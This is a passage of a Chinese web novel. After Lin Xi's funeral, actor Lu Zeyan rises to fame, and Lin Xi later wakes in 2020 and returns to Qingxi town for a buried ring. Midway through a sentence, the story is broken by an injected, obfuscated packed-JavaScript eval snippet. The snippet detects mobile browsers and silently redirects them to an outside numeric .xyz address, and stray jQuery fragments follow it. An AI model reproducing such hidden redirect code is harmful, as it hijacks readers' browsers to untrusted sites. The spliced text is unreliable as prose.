沈曼青和林正国一夜之间苍老了许多，头发白得像雪，背也更驼了。他们没有哭，只是默默地看着林溪的照片，眼神里满是悲伤和不舍，像两尊沉默的雕像。张妈里拿着块葱油饼，是早上刚烙的，还冒着热气，她一点点地掰碎了，撒在墓前的草地上，轻声说“溪溪，趁热吃，凉了就不好吃了”。


    葬礼结束后，陆泽言把林溪的乐谱整理好，一沓沓的，用红绳捆着，上面还有她修改的痕迹，红笔、蓝笔、铅笔，密密麻麻的，像片彩色的森林。他寄给了周教授，那位曾经欣赏林溪才华的老教授，信封上的地址是他打听了好久才找到的。他在信里说：“希望能让更多人听到，让他们知道，曾经有个叫林溪的女孩，来过这个世界，爱过这个世界，她的琴声里有青溪镇的风，有老槐树的香，有她对生活的热爱。”


    不久后，周教授回信了，信封上贴着一张《月光奏鸣曲》的乐谱复印件，上面写着“一等奖”三个字，红得刺眼。周教授说《月光奏鸣曲》获得了全国大学生音乐比赛一等奖，评委们都被那细腻的情感打动了，说“像在讲述一个动人的爱情故事”。他把奖金寄给了陆泽言，说这是林溪应得的，还附了张纸条：“这孩子有灵气，可惜了，你要好好活着，带着她的份一起。”陆泽言把奖金捐给了青溪镇的小学，以林溪的名义建了个音乐教室，里面放着一架钢琴，是他用自己的片酬买的，白色的，像林溪一直想要的那样，琴盖内侧贴着她的照片，笑靥如花，仿佛下一秒就会伸出手，弹出动听的旋律。


    陆泽言回到了京城，继续拍《京华烟云》。他把所有的悲伤都融入到角色里，演那个失去爱人的民国公子时，眼神里的空洞和绝望，让导演都红了眼眶。他演得格外投入，吃饭时在琢磨台词，走路时在体会情绪，连做梦都在说角色的台词。剧组的人都说他像变了个人，以前爱开玩笑，现在却沉默了许多，眼神里多了些东西，是经历过风雨后的沉淀和成熟，像被雨水冲刷过的青溪镇，干净却带着抹不去的痕迹。


    电视剧播出后，反响很好，陆泽言凭借男三号这个角色，获得了观众的认可，开始在影视圈崭露头角。粉丝们说他“眼神会说话”“演得太真实了”，媒体们称他为“最有潜力的新生代演员”。


    每年春天，陆泽言都会回青溪镇，他会把老槐树下的土挖开，看看那枚戒指还在不在，然后再小心翼翼地埋好，像在守护一个秘密，一个只属于他们两个人的秘密。泥土带着青草的气息，像她身上的味道，每次挖的时候，他都会想起她埋戒指时的样子，眼里带着憧憬，说“等它发芽了，就说明我们的爱长在土里了”，那时候他还笑她傻，现在却觉得，她可能是对的。


    他站起身，拍了拍身上的尘土，转身向镇上走去。阳光洒在他身上，暖洋洋的，像林溪的拥抱，带着她手心的温度，手腕上的银手链闪着光。


    “陆老师，该上台了。”助理小陈的声音带着兴奋，手里捧着奖杯的托盘微微颤抖。这个刚从电影学院毕业的年轻人，跟着陆泽言跑了两年剧组，和自己崇拜的偶像共事也太爽了吧！


    陆泽言点点头，理了理西装领口。黑色的西装笔挺，衬得他身形愈发挺拔，只是眉宇间总带着一丝挥之不去的清冷。他走上舞台，聚光灯瞬间打在身上，亮得让他下意识眯了眯眼，恍惚间竟觉得台下黑压压的人群里，有个扎着马尾辫的女孩正冲他笑，手里举着写有“陆泽言加油”的牌子。


    “感谢评委，感谢导演，感谢剧组的每一位工作人员。”他的声音平稳，带着经过话剧团打磨的磁性。


    颁奖礼结束后，陆泽言拒绝了庆功宴，独自回了公寓。公寓不大，却收拾得一尘不染，客厅的墙上挂着一幅画，是青溪镇的老槐树，槐花盛开，像堆雪。画是他自己画的，笔触生涩，却透着股执拗。


    他从抽屉里拿出一个铁盒子，里面装着林溪的东西：泛黄的乐谱，写满公式的草稿纸，还有那台录音机，里面录着他当年青涩的声音，读着海子的诗：“从明天起，做一个幸福的人，喂马，劈柴，周游世界……”他按下播放键，熟悉的声音在寂静的房间里响起，带着青溪镇的口音，带着少年人的意气风发，也带着对未来的憧憬。


    2020年的盛夏，京城音乐学院的排练室里弥漫着一股旧钢琴的木质香气。午后的阳光透过百叶窗斜切进来，在地板上投下明暗交错的条纹，像被分割的时光碎片。林溪猛地睁开眼时，指尖还停留在琴键上，冰凉的触感顺着指腹蔓延到心脏，惊得她浑身一颤。


    “溪溪？你醒了！”指挥老师的声音带着后怕，手里的保温杯“咚”地放在谱架上，里面的枸杞茶晃出细小的涟漪，“你可吓死我了，刚才突然就晕过去了，脸色白得像纸。”


    林溪张了张嘴，喉咙干涩得发不出声音。她环顾四周，排练室还是老样子。这不是青溪镇，没有沈曼青的葱油饼香，没有老槐树的阴凉，更没有陆泽言带着樟脑丸味的外套。


    “我……”她终于挤出一个字，声音嘶哑得像被砂纸磨过，“我睡了多久？”


    “快半小时了。”周教授递过一杯温水，杯壁上凝着水珠，“校医刚来看过，说你是练琴压力太大，加上低血糖才晕厥的，没什么大事，就是得好好休息。”


    “我回来了？”林溪茫然地看向关系她的同学。她颤抖着抬手摸自己的脸颊，皮肤光滑紧致，没有长期卧病的松弛；掀开袖口，手腕纤细白皙，找不到那道输液留下的淡青色疤痕。


    原来那些刻骨铭心的岁月，那些生离死别的挣扎，竟然只是一场过于真实的梦？


    她的目光无意识扫过排练室墙上的电视，正在播放娱乐新闻的屏幕突然闪过一张熟悉的脸。男人穿着高定西装站在领奖台上，灯光在他轮廓分明的侧脸上流动，手里的金色奖杯映亮了眼底的沉静——是陆泽言。


    “第36届金花奖最佳男主角得主——陆泽言！”主持人激动的声音透过扬声器炸开，“这是他出道十五年以来第三次斩获影帝，让我们听听他的获奖感言！”


    林溪的呼吸骤然停滞，心脏像被一只无形的手攥紧。电视里的陆泽言比记忆中成熟了许多，眼角有了细微的纹路，却更添了几分深邃。他举起奖杯的动作沉稳有力，目光却越过沸腾的人群，望向镜头之外的某个方向，声音透过电流传来，带着穿透时空的清晰。


    “感谢所有支持我的人，”他的声音低沉而富有磁性，“更要感谢那些在我生命中留下深刻印记的人。是他们让我明白，表演不仅仅是技巧，更是对生活的理解和感悟。”他顿了顿，眼神似乎闪烁了一下，像是在回忆什么遥远却清晰的画面。“这个奖，献给一个特别的人，虽然她不能在这里，但她的存在一直是我前行的动力。”


    新闻画面切换到台下的掌声时，林溪的眼泪才终于决堤。不是无声的哽咽，而是像个迷路太久的孩子，发出压抑不住的抽泣，那些被她以为是梦境的细节瞬间涌来。


    “傻孩子，怎么哭了？”钢琴老师递来纸巾，以为她是低血糖还没缓过来，“是不是压力太大了？不行就先休息几天，身体要紧。”


    林溪盯着屏幕，手指不自觉地抓紧了衣角。她的心跳得厉害，仿佛要从胸腔里蹦出来。那个男人，那张脸，那双眼睛，分明就是梦里的陆泽言，可他却又如此真实地活在另一个时空里。


    “不可能……”她喃喃自语，脑海中一片混乱。梦境与现实交织成一张复杂的网，让她分不清自己究竟是谁，身处何方。她努力回想着刚才的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355767|180507||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一切——琴键的触感、指挥老师的声音、排练室的气息，这些都如此真实，可为什么关于他的记忆却像隔着一层薄雾？


    旁边的同学注意到了她的异样，关切地问道：“溪溪，你没事吧？脸色又开始发白了。”他伸手探了探她的额头，温度正常，但林溪整个人却像丢了魂一样。


    “我……我想出去透透气。”林溪站起身，脚步有些踉跄。她推开排练室的门，迎面扑来的风带着京城盛夏特有的燥热，却让她感到一丝清醒。


    林溪摇摇头，接过纸巾胡乱擦着脸，指尖却摸到口袋里硬硬的东西。掏出来一看，是枚梧桐木盒子，边角被摩挲得光滑温润，正是她当年在青溪镇埋戒指的那个。盒子里空空如也，只有底层残留着一点褐色的泥土痕迹，像谁的眼泪凝固成了琥珀。


    “老师，我想请假。”她站起身时，膝盖还在发软，却一步也等不及了，“我必须去一个地方。”


    从京城到青溪镇的高铁上，林溪把脸贴在车窗上。窗外的风景从钢筋水泥的城市变成连绵的青山，再到炊烟袅袅的村落，每一幕都在唤醒沉睡的记忆。她打开手机搜索陆泽言的名字，跳出的词条密密麻麻——从1997年他在军区话剧团的第一次登台，到2002年凭《京华烟云》崭露头角，从大荧幕的《暗战》到电视屏幕上的《百年孤独》，再到2020年三次摘得影帝桂冠。


    粉丝们都说陆影帝是娱乐圈的异类，不炒作不接综艺，每年春天必定消失一个月，经纪公司只含糊说是“回老家探亲”。直到去年，有人拍到他在青溪镇小学的音乐教室里弹钢琴，白色的琴身被阳光镀上金边，他指尖流淌的旋律，正是当年那首《边关月》。


    高铁到站时，夕阳正把青溪镇染成蜜糖色。林溪沿着记忆中的石板路往前走，张妈的月季园还在，只是花架爬满了凌霄花；沈曼青家的老院子还在，门口晒着的干辣椒串红得刺眼；镇口的老槐树依旧枝繁叶茂，只是树下多了块石碑，刻着“青溪镇守护树”。


    她走到老槐树下，蹲下身抚摸树干上那些模糊的刻痕。林溪的眼泪又掉了下来，她随便找了个树枝，估摸着当年陆泽言埋下戒指的地方。


    泥土松软，带着青草和槐花的香气，像是在欢迎她的归来。林溪的手指触碰到某个硬物，心跳骤然加快。她小心翼翼地拨开泥土，一枚熟悉的戒指静静地躺在那里，表面覆着一层薄薄的土，却依然闪烁着微弱的光芒。她颤抖着拿起戒指，指尖滑过那粗糙的梧桐木纹理，仿佛能感受到当年他握着它时的温度。


    林溪把石头戒指放进梧桐木盒时，指腹蹭过内侧的泥土痕迹，像触到了2000年那个深秋的凉意。


    她回到京城音乐学院时，已是第二天深夜。宿舍楼道里的声控灯随着她的脚步亮了又灭，映着她怀里紧紧抱着的木盒，影子被拉得忽长忽短。推开门，室友潇潇正对着镜子贴面膜，看到她进来，惊讶地摘下眼膜：“溪溪？怎么现在才回来，手机也打不通。”


    林溪把木盒塞进枕头底下，指尖还在发颤：“手机没电了。有点事，出去了一趟。”


    “你脸色好差，”张萌递过一杯热牛奶，“是不是压力太大了？”


    林溪接过牛奶，杯壁的温度烫得她指尖发麻。“我没事，可能有点累。”她喝了口牛奶，甜腻的奶味压不住喉咙口的涩。张萌没再多问，转身继续敷面膜，嘴里哼着最近流行的歌曲，旋律轻快，和林溪心里的沉重格格不入。


    夜深了，宿舍里只剩下张萌均匀的呼吸声。林溪悄悄摸出枕头下的木盒，借着窗外透进来的月光打开。石头戒指躺在里面，表面的纹路在月光下泛着温润的光，戒圈上的“溪”字被岁月磨得浅了，却依然能摸到当年陆泽言刻字时的用力。